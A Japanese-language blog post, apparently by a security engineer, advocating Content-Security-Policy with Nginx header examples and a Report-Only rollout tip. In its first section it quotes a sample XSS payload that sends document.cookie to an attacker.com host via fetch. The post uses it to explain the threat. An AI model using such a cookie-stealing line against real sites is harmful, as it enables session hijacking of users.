CSPは「最後の砦」じゃない、フロントエンドを支配する「法治国家」だ
現場でコードを書いていると、「XSS対策? エスケープしてるから大丈夫でしょ」なんて声を耳にすることがある。だが、現場の泥臭いインシデントを見てきた私から言わせれば、それは「鍵をかけたから泥棒は入らない」と言っているのと同じだ。ガラスを割られれば終わりだし、そもそも鍵の閉め忘れ(エスケープ漏れ)は起きる。
そこで登場するのが Content-Security-Policy (CSP) だ。これは単なるヘッダーじゃない。ブラウザという名の「実行環境」に対して、「どのリソースを信じ、どこからの通信を許可するか」を規定する憲法そのものだ。
1. 攻撃者はどこを突くのか?(PoCのリスク)
攻撃者がXSS(クロスサイトスクリプティング)を成功させたとき、真っ先に行うのは「外部サーバーへの情報送信」だ。
// 攻撃者が挿入する悪意あるスクリプトの例
// ユーザーのCookieを盗み、外部の攻撃者サーバーへ送信する
fetch(‘https://attacker.com/steal?cookie=’ + document.cookie);
もし、あなたのWebアプリケーションにCSPが設定されていなければ、ブラウザはこのリクエストを「正当な通信」として実行してしまう。CSPを適切に設定していれば、この通信はブラウザによって即座にブロックされ、実行ログには「Refused to connect…」という冷徹なメッセージが残る。これが我々防御側の最初の防衛線だ。
2. 実務で「まず守るべき」CSPの設計
CSPの設定は、往々にして「全部許可(unsafe-inlineなど)」から始まり、結果として「意味のないお守り」になることが多い。まずは、「デフォルトは全拒否」から始めるのが鉄則だ。
以下に、現代的なWebアプリケーションで最低限守るべきNginx側の設定例を示す。
Nginxの設定例 (nginx.conf / sites-available)
add_header Content-Security-Policy ”
default-src ‘self’;
script-src ‘self’;
object-src ‘none’;
style-src ‘self’ https://fonts.googleapis.com;
frame-ancestors ‘none’;
” always;
ディレクティブの解説
default-src 'self': 基本的に「自ドメイン」からの読み込み以外はすべてブロックする。これが最強の防壁だ。script-src 'self': インラインスクリプト()や、eval()の実行を許さない。XSSの脅威を劇的に減らす。object-src 'none': Flashやプラグインなど、過去の遺物を物理的に実行不可能にする。frame-ancestors 'none': クリックジャッキング攻撃を防ぐために、自サイトをiframeで埋め込むことを禁じる。
3. 現場で泣かないための「運用Tips」
「いきなり厳格な設定を導入すると、正常な画面まで真っ白になる」というのは、誰もが通る道だ。そこで、まずは Content-Security-Policy-Report-Only ヘッダーを使うことを強く推奨する。
レポート収集用のヘッダー設定
違反があってもブロックせず、ブラウザがレポートを送信する
add_header Content-Security-Policy-Report-Only ”
default-src ‘self’;
report-uri /csp-violation-report-endpoint;
” always;
こうすることで、ユーザーのブラウザ上で「どのリソースがブロックされそうになったか」というログを収集できる。このログを分析し、許可すべきドメインやリソースを特定してから、本番の Content-Security-Policy へ切り替える。これが、障害を起こさずにセキュリティを向上させるプロのやり方だ。
4. 最後に:なぜCSPなのか
CISSPの観点から言えば、CSPは「多層防御(Defense in Depth)」の極致だ。
アプリケーションコードが脆弱でも、サーバーが攻撃されても、CSPという「ブラウザ側の制限」さえ生きていれば、攻撃者の最終目的である「データの持ち出し」や「不正なスクリプトの実行」を阻止できる。
いいか、セキュリティ対策は「完璧を目指す」のではなく、「攻撃者のコストを最大化する」ことにある。CSPを一行設定するだけで、攻撃者は「このサイトは面倒だ、他を狙おう」と判断する。その「面倒」を積み重ねることこそが、我々エンジニアの仕事だ。
さあ、今すぐお使いのサーバーのレスポンスヘッダーを確認してくれ。もし Content-Security-Policy が見当たらなければ、それが今日の君の最初のタスクだ。
コメント